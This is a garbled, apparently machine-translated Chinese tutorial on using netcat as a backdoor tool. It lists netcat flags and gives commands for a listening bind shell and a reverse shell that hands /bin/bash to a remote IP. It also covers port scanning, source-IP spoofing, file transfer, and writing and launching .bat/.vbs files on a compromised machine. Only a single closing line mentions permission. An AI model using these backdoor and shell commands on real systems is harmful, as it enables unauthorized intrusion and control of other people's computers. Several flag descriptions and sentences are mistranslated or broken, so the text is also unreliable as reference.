步驟1：獲取Netcat

現在，我想擁有的第一件事是netcat在我自己的計算機上。不要害怕安裝它。 Netcat本身不是后門，但可用于創建后門。 Netcat基本上是類固醇上的Ms-DOS，因此，如果您認真對待黑客攻擊，則應該購買netcat。

要獲取netcat，請前往Google進行搜索，如果您使用的是Windows，則應為.exe使用Google windows netcat 。

擁有.exe后，請使用將其放在Windows System32文件中，以便可以從cmd提示符下運行它。

此后，您只需在cmd提示符下鍵入nc即可使用它，

例如，如果您想進入安裝的后門，將使用命令

nc -v

下一步，我將介紹更多命令。

步驟2：基本的Netcat命令

-e 將程序入站程序執行到exec（危險！）

-g 網關源路由躍點，最多8

-G 個源路由指針：4，8，12，。 。.

-h 此發送郵件，掃描端口的

-i 秒延遲間隔

-l 《/strong》模式，對于入站連接

-L 進行更嚴格的偵聽，然后在套接字關閉時重新偵聽e

-n 僅數字的IP地址，沒有DNS

-o 文件的十六進制流量轉儲

-p 端口本地端口號

-r 隨機分配本地和遠程端口

-s addr本地源地址

-t answer TELNET協商

-u UDP模式

-v 冗長（使用兩次以變得更冗長）

-w 秒連接和最終網絡讀取的超時

-z零I/O 模式（用于掃描）

端口號可以是單個或范圍：mn（含）

連接到遠程主機上的端口

nc remote_host 《端口》

》 連接到遠程主機上的多個

端口

nc remote_host 《端口》 。.. 《端口》

例如：

nc www.somecompanyasanexample.com 21 25 80

在端口上偵聽

傳入連接

（也稱為A后門）

nc -v -l -p 《端口》

連接到遠程主機

并提供bash shell

nc remote_ip 《端口》 -e/bin/bash

請注意，默認情況下Netcat不支持-e標志。要

使Netcat支持-e標志，必須使用

DGAPING_SECURITY_HOLE選項重新編譯它

在端口上監聽并

在連接后提供bash外殼

nc -v -l -p-《端口》 -e/bin/bash

請注意默認情況下，Netcat不支持-e標志。要

使Netcat支持-e標志，必須使用

DGAPING_SECURITY_HOLE選項重新編譯它

端口掃描遠程

host

nc -v -z remote_host -

使用-i標志設置延遲間隔：

nc-?i -v -z remote_host

《端口》-《端口》

管道命令輸出

到netcat請求

| nc remote_host 《端口》

例如：

echo“ GET/HTTP/1.0

（輸入）

（輸入）

” | nc www.somecompanyasanexample.com 80

使用源路由

連接到

遠程主機上的端口

nc-?g remote_host

注意：使用-g標志最多可以指定八個跳點。

使用-?G標志指定源路由指針。

欺騙源IP

地址

使用-?s標志欺騙源IP地址：

nc -s spoofed_ip remote_host端口

此命令將導致遠程主機響應回

欺騙的IP地址。 -?標志可以與該表中顯示的大多數

命令一起使用。

傳輸文件

在服務器主機上：

nc -v -l -p 《

在客戶端主機上：

nc -v 《服務器主機》 《端口》》 《文件》

客戶機主機也可以偵聽端口以

接收文件。為此，請在客戶端

主機上運行以下命令：

nc -v -l -p 《端口》》文件

，然后在服務器主機上運行以下命令：

nc-? –v 《客戶端主機》 《端口》 《文件

您的netcat都可以使用它們

步驟3：Bat文件部分

一旦您在計算機或服務器中，便可以利用任何您想要的東西，通常我使用vbs和.bat文件，但是我也想通過此方法創建文件，現在，您可以傳輸文件了通過使用前面所述的命令，但是我想即時創建文件。您可以通過Google搜索通過MS-DOS傳輸文件的方法，并獲得許多方法。我總是喜歡使用Echo方法

一旦您使用，就使用此命令

Echo 在此處輸入文件內容》 名稱。任何文件類型

這將創建當前目錄中指定的文件

一旦您可以通過簡單的命令行運行這些文件，

開始文件名

第4步：Netcat

您還可以使用netcat進行很多其他操作，但本指南中并未對此進行詳細介紹。 br》請勿在未獲勝或沒有權限的計算機上使用后門。
責任編輯：wv